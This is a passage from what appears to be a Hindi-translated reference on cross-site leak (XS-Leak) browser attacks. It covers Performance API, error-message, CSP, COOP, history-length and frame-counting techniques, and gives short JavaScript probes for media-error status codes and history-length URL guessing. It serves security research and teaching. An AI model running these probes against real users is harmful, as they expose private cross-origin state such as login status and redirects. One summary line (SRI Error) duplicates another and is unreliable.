सुरक्षा आश्वासन (SA) में, XSS ऑडिटर, जो मूल रूप से क्रॉस-साइट स्क्रिप्टिंग (XSS) हमलों को रोकने के लिए डिज़ाइन किया गया था, को संवेदनशील जानकारी लीक करने के लिए विपरीत रूप से शोषित किया जा सकता है। हालाँकि, यह अंतर्निहित विशेषता Google Chrome (GC) से हटा दी गई थी, लेकिन यह SA में अभी भी मौजूद है। 2013 में, ब्रौन और हाइडरिच ने दिखाया कि XSS ऑडिटर अनजाने में वैध स्क्रिप्ट को अवरुद्ध कर सकता है, जिससे झूठे सकारात्मक होते हैं। इसके आधार पर, शोधकर्ताओं ने जानकारी निकालने और क्रॉस-ओरिजिन पृष्ठों पर विशिष्ट सामग्री का पता लगाने के लिए तकनीकों का विकास किया, जिसे XS-Leaks के रूप में जाना जाता है, जिसे पहले टेराडा द्वारा रिपोर्ट किया गया था और हेयेस द्वारा एक ब्लॉग पोस्ट में विस्तृत किया गया था। हालाँकि ये तकनीकें GC में XSS ऑडिटर के लिए विशिष्ट थीं, यह पाया गया कि SA में, XSS ऑडिटर द्वारा अवरुद्ध पृष्ठ प्रदर्शन API में प्रविष्टियाँ उत्पन्न नहीं करते हैं, जिससे संवेदनशील जानकारी लीक होने का एक तरीका प्रकट होता है।

X-Frame Leak

Inclusion Methods: Frames
Detectable Difference: Header
More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
Summary: X-Frame-Options हेडर के साथ संसाधन प्रदर्शन समय प्रविष्टि नहीं बनाता है।
Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak

यदि किसी पृष्ठ को iframe में रेंडर करने की अनुमति नहीं है, तो यह प्रदर्शन प्रविष्टि नहीं बनाता है। परिणामस्वरूप, एक हमलावर प्रतिक्रिया हेडर X-Frame-Options का पता लगा सकता है। यदि आप embed tag का उपयोग करते हैं तो वही होता है।

Download Detection

Inclusion Methods: Frames
Detectable Difference: Header
More info: https://xsinator.com/paper.pdf (5.2)
Summary: डाउनलोड प्रदर्शन API में संसाधन समय प्रविष्टियाँ नहीं बनाते हैं।
Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection

XS-Leak के वर्णित के समान, एक संसाधन जो डाउनलोड किया गया है क्योंकि ContentDisposition हेडर के कारण, भी प्रदर्शन प्रविष्टि नहीं बनाता है। यह तकनीक सभी प्रमुख ब्राउज़रों में काम करती है।

Redirect Start Leak

Inclusion Methods: Frames
Detectable Difference: Redirect
More info: https://xsinator.com/paper.pdf (5.2)
Summary: संसाधन समय प्रविष्टि एक रीडायरेक्ट के प्रारंभ समय को लीक करती है।
Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak

हमने एक XS-Leak उदाहरण पाया जो कुछ ब्राउज़रों के व्यवहार का दुरुपयोग करता है जो क्रॉस-ओरिजिन अनुरोधों के लिए बहुत अधिक जानकारी लॉग करते हैं। मानक एक उपसमुच्चय गुणों को शून्य पर सेट करने के लिए परिभाषित करता है जो क्रॉस-ओरिजिन संसाधनों के लिए होना चाहिए। हालाँकि, SA में यह संभव है कि उपयोगकर्ता को लक्षित पृष्ठ द्वारा रीडायरेक्ट किया गया है, Performance API को क्वेरी करके और redirectStart समय डेटा की जांच करके।

Duration Redirect Leak

Inclusion Methods: Fetch API
Detectable Difference: Redirect
More info: https://xsinator.com/paper.pdf (5.2)
Summary: रीडायरेक्ट होने पर समय प्रविष्टियों की अवधि नकारात्मक होती है।
Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak

GC में, रीडायरेक्ट के परिणामस्वरूप अनुरोधों के लिए अवधि नकारात्मक होती है और इस प्रकार इसे अलग किया जा सकता है उन अनुरोधों से जो रीडायरेक्ट का परिणाम नहीं देते हैं।

CORP Leak

Inclusion Methods: Frames
Detectable Difference: Header
More info: https://xsinator.com/paper.pdf (5.2)
Summary: CORP द्वारा संरक्षित संसाधन प्रदर्शन समय प्रविष्टियाँ नहीं बनाते हैं।
Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak

कुछ मामलों में, nextHopProtocol प्रविष्टि को लीक तकनीक के रूप में उपयोग किया जा सकता है। GC में, जब CORP हेडर सेट किया जाता है, तो nextHopProtocol खाली होगा। ध्यान दें कि SA CORP-सक्षम संसाधनों के लिए प्रदर्शन प्रविष्टि नहीं बनाएगा।

Service Worker

Inclusion Methods: Frames
Detectable Difference: API Usage
More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
Summary: एक विशिष्ट मूल के लिए सेवा कार्यकर्ता पंजीकृत है या नहीं, यह पहचानें।
Code Example:

सेवा कार्यकर्ता इवेंट-चालित स्क्रिप्ट संदर्भ होते हैं जो एक मूल पर चलते हैं। वे एक वेब पृष्ठ के बैकग्राउंड में चलते हैं और संसाधनों को इंटरसेप्ट, संशोधित और कैश कर सकते हैं ताकि ऑफ़लाइन वेब एप्लिकेशन बनाया जा सके। यदि एक संसाधन कैश द्वारा सेवा कार्यकर्ता के माध्यम से एक्सेस किया जाता है, तो संसाधन सेवा कार्यकर्ता कैश से लोड होगा। यह पहचानने के लिए कि क्या संसाधन सेवा कार्यकर्ता कैश से लोड किया गया था, Performance API का उपयोग किया जा सकता है। यह एक समय हमले के साथ भी किया जा सकता है (अधिक जानकारी के लिए पेपर देखें)।

Cache

Inclusion Methods: Fetch API
Detectable Difference: Timing
More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
Summary: यह जांचना संभव है कि क्या एक संसाधन कैश में संग्रहीत था।
Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)

Performance API का उपयोग करके यह जांचना संभव है कि क्या एक संसाधन कैश में है।

Network Duration

Inclusion Methods: Fetch API
Detectable Difference: Page Content
More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Summary: यह संभव है कि performance API से एक अनुरोध की नेटवर्क अवधि प्राप्त की जा सके।
Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration

Error Messages Technique

Media Error

Inclusion Methods: HTML Elements (Video, Audio)
Detectable Difference: Status Code
More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
Summary: फ़ायरफ़ॉक्स में एक क्रॉस-ओरिजिन अनुरोध की स्थिति कोड को सटीक रूप से लीक करना संभव है।
Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

The MediaError इंटरफेस का संदेश प्रॉपर्टी उन संसाधनों की अद्वितीय पहचान करता है जो एक विशिष्ट स्ट्रिंग के साथ सफलतापूर्वक लोड होते हैं। एक हमलावर इस विशेषता का लाभ उठाकर संदेश सामग्री का अवलोकन कर सकता है, जिससे वह क्रॉस-ओरिजिन संसाधन की प्रतिक्रिया स्थिति का अनुमान लगा सकता है।

CORS Error

Inclusion Methods: Fetch API
Detectable Difference: Header
More info: https://xsinator.com/paper.pdf (5.3)
Summary: सुरक्षा आश्वासन (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।
Code Example: https://xsinator.com/testing.html#CORS%20Error%20Leak

यह तकनीक एक हमलावर को क्रॉस-ओरिजिन साइट के पुनर्निर्देश का गंतव्य निकालने की अनुमति देती है, जो यह दर्शाती है कि Webkit-आधारित ब्राउज़र CORS अनुरोधों को कैसे संभालते हैं। विशेष रूप से, जब एक CORS-सक्षम अनुरोध को एक लक्षित साइट पर भेजा जाता है जो उपयोगकर्ता स्थिति के आधार पर पुनर्निर्देशित करती है और ब्राउज़र बाद में अनुरोध को अस्वीकार करता है, तो पुनर्निर्देश के लक्ष्य का पूरा URL त्रुटि संदेश के भीतर प्रकट होता है। यह भेद्यता न केवल पुनर्निर्देश के तथ्य को उजागर करती है बल्कि पुनर्निर्देश के अंत बिंदु और किसी भी संवेदनशील क्वेरी पैरामीटर को भी उजागर करती है जो इसमें हो सकते हैं।

SRI Error

Inclusion Methods: Fetch API
Detectable Difference: Header
More info: https://xsinator.com/paper.pdf (5.3)
Summary: सुरक्षा आश्वासन (SA) में, CORS त्रुटि संदेश अनजाने में पुनर्निर्देशित अनुरोधों का पूरा URL उजागर करते हैं।
Code Example: https://xsinator.com/testing.html#SRI%20Error%20Leak

एक हमलावर विस्तृत त्रुटि संदेशों का लाभ उठाकर क्रॉस-ओरिजिन प्रतिक्रियाओं के आकार का अनुमान लगा सकता है। यह Subresource Integrity (SRI) के तंत्र के कारण संभव है, जो यह सुनिश्चित करने के लिए अखंडता विशेषता का उपयोग करता है कि संसाधन, जो अक्सर CDNs से लाए जाते हैं, में छेड़छाड़ नहीं की गई है। SRI को क्रॉस-ओरिजिन संसाधनों पर काम करने के लिए, इन्हें CORS-सक्षम होना चाहिए; अन्यथा, ये अखंडता जांच के अधीन नहीं होते। सुरक्षा आश्वासन (SA) में, CORS त्रुटि XS-Leak की तरह, एक त्रुटि संदेश को एक अखंडता विशेषता के साथ एक फ़ेच अनुरोध के बाद कैप्चर किया जा सकता है जो विफल हो जाता है। हमलावर जानबूझकर इस त्रुटि को ट्रिगर कर सकते हैं किसी भी अनुरोध की अखंडता विशेषता में झूठा हैश मान असाइन करके। SA में, परिणामी त्रुटि संदेश अनजाने में अनुरोधित संसाधन की सामग्री लंबाई को प्रकट करता है। यह जानकारी लीक एक हमलावर को प्रतिक्रिया आकार में भिन्नताओं का पता लगाने की अनुमति देती है, जो परिष्कृत XS-Leak हमलों के लिए रास्ता प्रशस्त करती है।

CSP Violation/Detection

Inclusion Methods: Pop-ups
Detectable Difference: Status Code
More info: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
Summary: यदि हम पीड़ित की वेबसाइट को CSP में केवल अनुमति देते हैं और यह एक अलग डोमेन पर पुनर्निर्देशित करने की कोशिश करता है, तो CSP एक पहचानने योग्य त्रुटि को ट्रिगर करेगा।
Code Example: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation

एक XS-Leak CSP का उपयोग कर सकता है यह पता लगाने के लिए कि क्या एक क्रॉस-ओरिजिन साइट को एक अलग मूल पर पुनर्निर्देशित किया गया था। यह लीक पुनर्निर्देश का पता लगा सकता है, लेकिन इसके अतिरिक्त, पुनर्निर्देश लक्ष्य का डोमेन भी लीक करता है। इस हमले का मूल विचार है हमलावर साइट पर लक्षित डोमेन की अनुमति देना। एक बार जब लक्षित डोमेन पर एक अनुरोध जारी किया जाता है, तो यह पुनर्निर्देशित होता है एक क्रॉस-ओरिजिन डोमेन पर। CSP इसके लिए पहुंच को अवरुद्ध करता है और एक उल्लंघन रिपोर्ट बनाता है जो लीक तकनीक के रूप में उपयोग की जाती है। ब्राउज़र के आधार पर, यह रिपोर्ट पुनर्निर्देश के लक्ष्य स्थान को लीक कर सकती है। आधुनिक ब्राउज़र यह नहीं बताते कि इसे किस URL पर पुनर्निर्देशित किया गया था, लेकिन आप अभी भी यह पता लगा सकते हैं कि एक क्रॉस-ओरिजिन पुनर्निर्देश को ट्रिगर किया गया था।

Cache

Inclusion Methods: Frames, Pop-ups
Detectable Difference: Page Content
More info: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html
Summary: कैश से फ़ाइल को साफ़ करें। लक्षित पृष्ठ खोलता है यह जांचता है कि क्या फ़ाइल कैश में मौजूद है।
Code Example:

ब्राउज़र सभी वेबसाइटों के लिए एक साझा कैश का उपयोग कर सकते हैं। उनके मूल की परवाह किए बिना, यह पता लगाना संभव है कि क्या लक्षित पृष्ठ ने विशिष्ट फ़ाइल का अनुरोध किया है।

यदि एक पृष्ठ केवल तभी एक छवि लोड करता है जब उपयोगकर्ता लॉग इन होता है, तो आप संसाधन को अमान्य कर सकते हैं (ताकि यह अब कैश में न हो, अधिक जानकारी लिंक देखें), एक अनुरोध करें जो उस संसाधन को लोड कर सकता है और खराब अनुरोध के साथ संसाधन लोड करने की कोशिश करें (जैसे, एक लंबे संदर्भ हेडर का उपयोग करके)। यदि संसाधन लोड किसी त्रुटि को ट्रिगर नहीं करता है, तो इसका मतलब है कि यह कैश किया गया था।

CSP Directive

Inclusion Methods: Frames
Detectable Difference: Header
More info: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
Summary: CSP हेडर निर्देशों को CSP iframe विशेषता का उपयोग करके जांचा जा सकता है, जो नीति विवरण प्रकट करता है।
Code Example: https://xsinator.com/testing.html#CSP%20Directive%20Leak

Google Chrome (GC) में एक नया फीचर वेब पृष्ठों को एक सामग्री सुरक्षा नीति (CSP) प्रस्तावित करने की अनुमति देता है, जो iframe तत्व पर एक विशेषता सेट करके, नीति निर्देशों को HTTP अनुरोध के साथ भेजा जाता है। सामान्यतः, अंतर्निहित सामग्री को इसकी अनुमति HTTP हेडर के माध्यम से देनी चाहिए, या एक त्रुटि पृष्ठ प्रदर्शित होता है। हालाँकि, यदि iframe पहले से ही CSP द्वारा शासित है और प्रस्तावित नीति अधिक प्रतिबंधात्मक नहीं है, तो पृष्ठ सामान्य रूप से लोड होगा। यह तंत्र एक हमलावर को क्रॉस-ओरिजिन पृष्ठ के विशिष्ट CSP निर्देशों का पता लगाने के लिए एक मार्ग खोलता है, त्रुटि पृष्ठ की पहचान करके। हालांकि इस भेद्यता को ठीक किया गया था, हमारे निष्कर्ष एक नए लीक तकनीक का पता लगाते हैं जो त्रुटि पृष्ठ का पता लगाने में सक्षम है, यह सुझाव देते हुए कि अंतर्निहित समस्या को कभी पूरी तरह से संबोधित नहीं किया गया था।

CORP

Inclusion Methods: Fetch API
Detectable Difference: Header
More info: https://xsleaks.dev/docs/attacks/browser-features/corp/
Summary: क्रॉस-ओरिजिन संसाधन नीति (CORP) के साथ सुरक्षित संसाधन एक अस्वीकृत मूल से लाए जाने पर त्रुटि फेंकेंगे।
Code Example: https://xsinator.com/testing.html#CORP%20Leak

CORP हेडर एक अपेक्षाकृत नया वेब प्लेटफ़ॉर्म सुरक्षा फीचर है जो सेट होने पर दिए गए संसाधन के लिए नो-CORS क्रॉस-ओरिजिन अनुरोधों को अवरुद्ध करता है। हेडर की उपस्थिति का पता लगाया जा सकता है, क्योंकि CORP के साथ सुरक्षित संसाधन लाए जाने पर त्रुटि फेंकेंगे।

CORB

Inclusion Methods: HTML Elements
Detectable Difference: Headers
More info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header
Summary: CORB हमलावरों को यह पता लगाने की अनुमति दे सकता है कि nosniff हेडर अनुरोध में मौजूद है।
Code Example: https://xsinator.com/testing.html#CORB%20Leak

हमले के बारे में अधिक जानकारी के लिए लिंक की जांच करें।

CORS error on Origin Reflection misconfiguration

Inclusion Methods: Fetch API
Detectable Difference: Headers
More info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration
Summary: यदि Origin हेडर को हेडर Access-Control-Allow-Origin में परावर्तित किया गया है, तो यह जांचना संभव है कि क्या संसाधन पहले से कैश में है।
Code Example: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration

यदि Origin हेडर को परावर्तित किया जा रहा है हेडर Access-Control-Allow-Origin में, तो एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है CORS मोड में संसाधन को लाने के लिए। यदि त्रुटि ट्रिगर नहीं होती है, तो इसका मतलब है कि इसे वेब से सही तरीके से प्राप्त किया गया था, यदि त्रुटि ट्रिगर होती है, तो इसका मतलब है कि इसे कैश से एक्सेस किया गया था (त्रुटि इसलिए प्रकट होती है क्योंकि कैश एक प्रतिक्रिया को CORS हेडर के साथ बचाता है जो मूल डोमेन की अनुमति देता है और हमलावर के डोमेन की नहीं)**। ध्यान दें कि यदि मूल परावर्तित नहीं होता है लेकिन एक वाइल्डकार्ड का उपयोग किया जाता है (Access-Control-Allow-Origin: *), तो यह काम नहीं करेगा।

Readable Attributes Technique

Fetch Redirect

Inclusion Methods: Fetch API
Detectable Difference: Status Code
More info: https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html
Summary: GC और SA पुनर्निर्देश समाप्त होने के बाद प्रतिक्रिया के प्रकार (opaque-redirect) की जांच करने की अनुमति देते हैं।
Code Example: https://xsinator.com/testing.html#Fetch%20Redirect%20Leak

redirect: "manual" और अन्य पैरामीटर के साथ Fetch API का उपयोग करके एक अनुरोध सबमिट करते समय, यह response.type विशेषता को पढ़ना संभव है और यदि यह opaqueredirect के बराबर है, तो प्रतिक्रिया एक पुनर्निर्देश थी।

COOP

Inclusion Methods: Pop-ups
Detectable Difference: Header
More info: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
Summary: क्रॉस-ओरिजिन ओपनर नीति (COOP) द्वारा सुरक्षित पृष्ठ क्रॉस-ओरिजिन इंटरैक्शन से पहुंच को रोकते हैं।
Code Example: https://xsinator.com/testing.html#COOP%20Leak

एक हमलावर क्रॉस-ओरिजिन HTTP प्रतिक्रिया में क्रॉस-ओरिजिन ओपनर नीति (COOP) हेडर की उपस्थिति का अनुमान लगा सकता है। COOP का उपयोग वेब अनुप्रयोगों द्वारा बाहरी साइटों को मनमाने विंडो संदर्भ प्राप्त करने से रोकने के लिए किया जाता है। इस हेडर की दृश्यता को contentWindow संदर्भ तक पहुंचने का प्रयास करके पहचाना जा सकता है। उन परिदृश्यों में जहां COOP को शर्तों के अनुसार लागू किया जाता है, opener प्रॉपर्टी एक स्पष्ट संकेतक बन जाती है: यह अपरिभाषित होती है जब COOP सक्रिय होता है, और इसकी अनुपस्थिति में परिभाषित होती है।

URL Max Length - Server Side

Inclusion Methods: Fetch API, HTML Elements
Detectable Difference: Status Code / Content
More info: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
Summary: पुनर्निर्देश प्रतिक्रिया लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाना क्योंकि यह बहुत बड़ी हो सकती है कि सर्वर एक त्रुटि के साथ पुनः खेलता है और एक अलर्ट उत्पन्न होता है।
Code Example: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak

यदि सर्वर-साइड पुनर्निर्देश पुनर्निर्देश में उपयोगकर्ता इनपुट और अतिरिक्त डेटा का उपयोग करता है। इस व्यवहार का पता लगाना संभव है क्योंकि सामान्यतः सर्वर के पास सीमित अनुरोध लंबाई होती है। यदि उपयोगकर्ता डेटा लंबाई - 1 है, क्योंकि पुनर्निर्देश उस डेटा का उपयोग कर रहा है और कुछ अतिरिक्त जोड़ रहा है, तो यह त्रुटि को ट्रिगर करेगा जिसे त्रुटि घटनाओं के माध्यम से पहचाना जा सकता है।

यदि आप किसी तरह उपयोगकर्ता को कुकीज़ सेट कर सकते हैं, तो आप पर्याप्त कुकीज़ सेट करके इस हमले को भी कर सकते हैं (कुकी बम) ताकि सही प्रतिक्रिया के बढ़े हुए आकार के साथ एक त्रुटि ट्रिगर हो। इस मामले में, याद रखें कि यदि आप इस अनुरोध को एक ही साइट से ट्रिगर करते हैं, तो <script> स्वचालित रूप से कुकीज़ भेजेगा (ताकि आप त्रुटियों की जांच कर सकें)। कुकी बम + XS-Search का एक उदाहरण इस लेखन के इरादित समाधान में पाया जा सकता है: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None या एक ही संदर्भ में होना इस प्रकार के हमले के लिए सामान्यतः आवश्यक है।

URL Max Length - Client Side

Inclusion Methods: Pop-ups
Detectable Difference: Status Code / Content
More info: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit
Summary: पुनर्निर्देश प्रतिक्रिया लंबाई के कारण प्रतिक्रियाओं में भिन्नताओं का पता लगाना क्योंकि यह एक अनुरोध के लिए बहुत बड़ी हो सकती है कि एक भिन्नता का पता लगाया जा सकता है।
Code Example: https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit

Chromium दस्तावेज़ के अनुसार, Chrome की अधिकतम URL लंबाई 2MB है।

सामान्यतः, वेब प्लेटफ़ॉर्म URL की लंबाई पर कोई सीमा नहीं रखता (हालांकि 2^31 एक सामान्य सीमा है)। Chrome व्यावहारिक कारणों और अंतःप्रक्रिया संचार में सेवा से इनकार की समस्याओं से बचने के लिए URLs को अधिकतम लंबाई 2MB तक सीमित करता है।

इसलिए यदि पुनर्निर्देश URL का उत्तर एक मामले में बड़ा है, तो इसे 2MB से बड़ा URL के साथ पुनर्निर्देशित करना संभव है ताकि लंबाई सीमा को हिट किया जा सके। जब ऐसा होता है, तो Chrome एक about:blank#blocked पृष्ठ दिखाता है।

ध्यान देने योग्य भिन्नता यह है कि यदि पुनर्निर्देश पूर्ण था, तो window.origin एक त्रुटि फेंकता है क्योंकि एक क्रॉस ओरिजिन उस जानकारी तक पहुंच नहीं सकता। हालाँकि, यदि सीमा हिट की गई थी और लोड किया गया पृष्ठ about:blank#blocked था, तो विंडो का origin मूल के रूप में बना रहता है, जो एक पहुंच योग्य जानकारी है।

2MB तक पहुँचने के लिए आवश्यक सभी अतिरिक्त जानकारी को प्रारंभिक URL में एक हैश के माध्यम से जोड़ा जा सकता है ताकि इसे पुनर्निर्देश में उपयोग किया जा सके।

Max Redirects

Inclusion Methods: Fetch API, Frames
Detectable Difference: Status Code
More info: https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76
Summary: ब्राउज़र के पुनर्निर्देश सीमा का उपयोग URL पुनर्निर्देशों की घटना का पता लगाने के लिए करें।
Code Example: https://xsinator.com/testing.html#Max%20Redirect%20Leak

यदि ब्राउज़र के लिए अनुसरण करने के लिए अधिकतम संख्या 20 पुनर्निर्देश है, तो एक हमलावर 19 पुनर्निर्देशों के साथ अपने पृष्ठ को लोड करने की कोशिश कर सकता है और अंततः पीड़ित को परीक्षण किए गए पृष्ठ पर भेज सकता है। यदि एक त्रुटि ट्रिगर होती है, तो इसका मतलब है कि पृष्ठ पीड़ित को पुनर्निर्देशित करने की कोशिश कर रहा था।

History Length

Inclusion Methods: Frames, Pop-ups
Detectable Difference: Redirects
More info: https://xsleaks.dev/docs/attacks/navigations/
Summary: JavaScript कोड ब्राउज़र इतिहास में हेरफेर करता है और इसे लंबाई प्रॉपर्टी द्वारा एक्सेस किया जा सकता है।
Code Example: https://xsinator.com/testing.html#History%20Length%20Leak

History API JavaScript कोड को ब्राउज़र इतिहास में हेरफेर करने की अनुमति देता है, जो उपयोगकर्ता द्वारा देखे गए पृष्ठों को सहेजता है। एक हमलावर लंबाई प्रॉपर्टी का उपयोग कर सकता है एक समावेशन विधि के रूप में: JavaScript और HTML नेविगेशन का पता लगाने के लिए। history.length की जांच करना, एक उपयोगकर्ता को एक पृष्ठ पर नेविगेट करने के लिए कहना, इसे वापस बदलना उसी मूल पर और history.length के नए मान की जांच करना।

History Length with same URL

Inclusion Methods: Frames, Pop-ups
Detectable Difference: यदि URL अनुमानित एक के समान है
Summary: यह अनुमान लगाना संभव है कि क्या एक फ्रेम/पॉपअप का स्थान एक विशिष्ट URL में है इतिहास लंबाई का दुरुपयोग करके।
Code Example: नीचे

एक हमलावर JavaScript कोड का उपयोग करके फ्रेम/पॉप-अप स्थान को अनुमानित एक पर हेरफेर कर सकता है और तुरंत about:blank पर बदल सकता है। यदि इतिहास लंबाई बढ़ गई है, तो इसका मतलब है कि URL सही था और इसे बढ़ने का समय मिला क्योंकि URL को फिर से लोड नहीं किया जाता है यदि यह वही है। यदि यह नहीं बढ़ा, तो इसका मतलब है कि यह अनुमानित URL लोड करने की कोशिश कर रहा था लेकिन क्योंकि हम तुरंत बाद about:blank लोड करते हैं, इतिहास लंबाई कभी नहीं बढ़ी जब अनुमानित URL लोड किया गया।

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

Inclusion Methods: Frames, Pop-ups
Detectable Difference: Page Content
More info: https://xsleaks.dev/docs/attacks/frame-counting/
Summary: window.length प्रॉपर्टी की जांच करके iframe तत्वों की मात्रा का मूल्यांकन करें।
Code Example: https://xsinator.com/testing.html#Frame%20Count%20Leak

iframe या window.open के माध्यम से खोले गए वेब में फ्रेम की संख्या की गणना करना उपयोगकर्ता की स्थिति की पहचान करने में मदद कर सकता है। इसके अलावा, यदि पृष्ठ में हमेशा समान संख्या में फ्रेम होते हैं, तो फ्रेम की संख्या की निरंतर जांच करना एक पैटर्न की पहचान करने में मदद कर सकता है जो जानकारी लीक कर सकता है।

इस तकनीक का एक उदाहरण यह है कि क्रोम में, एक PDF को फ्रेम गिनती के साथ पता लगाया जा सकता है क्योंकि आंतरिक रूप से embed का उपयोग किया जाता है। कुछ कंटेंट पर नियंत्रण की अनुमति देने वाले Open URL Parameters हैं जैसे zoom, view, page, toolbar जहां यह तकनीक दिलचस्प हो सकती है।

HTMLElements

Inclusion Methods: HTML Elements
Detectable Difference: Page Content
More info: https://xsleaks.dev/docs/attacks/element-leaks/
Summary: 2 संभावित राज्यों के बीच भेद करने के लिए लीक किए गए मान को पढ़ें
Code Example: https://xsleaks.dev/docs/attacks/element-leaks/, https://xsinator.com/testing.html#Media%20Dimensions%20Leak, https://xsinator.com/testing.html#Media%20Duration%20Leak

HTML तत्वों के माध्यम से जानकारी का लीक वेब सुरक्षा में एक चिंता का विषय है, विशेष रूप से जब उपयोगकर्ता की जानकारी के आधार पर गतिशील मीडिया फ़ाइलें उत्पन्न की जाती हैं, या जब वॉटरमार्क जोड़े जाते हैं, जिससे मीडिया का आकार बदलता है। हमलावर इस जानकारी का विश्लेषण करके संभावित राज्यों के बीच भेद करने के लिए इसका लाभ उठा सकते हैं।

Information Exposed by HTML Elements

HTMLMediaElement: यह तत्व मीडिया की duration और buffered समय को प्रकट करता है, जिसे इसके API के माध्यम से एक्सेस किया जा सकता है। HTMLMediaElement के बारे में अधिक पढ़ें
HTMLVideoElement: यह videoHeight और videoWidth को उजागर करता है। कुछ ब्राउज़रों में, webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, और webkitDecodedFrameCount जैसे अतिरिक्त प्रॉपर्टीज उपलब्ध हैं, जो मीडिया सामग्री के बारे में अधिक गहन जानकारी प्रदान करते हैं। HTMLVideoElement के बारे में अधिक पढ़ें
getVideoPlaybackQuality(): यह फ़ंक्शन वीडियो प्लेबैक गुणवत्ता के बारे में विवरण प्रदान करता है, जिसमें totalVideoFrames शामिल है, जो वीडियो डेटा की मात्रा को इंगित कर सकता है। getVideoPlaybackQuality() के बारे में अधिक पढ़ें
HTMLImageElement<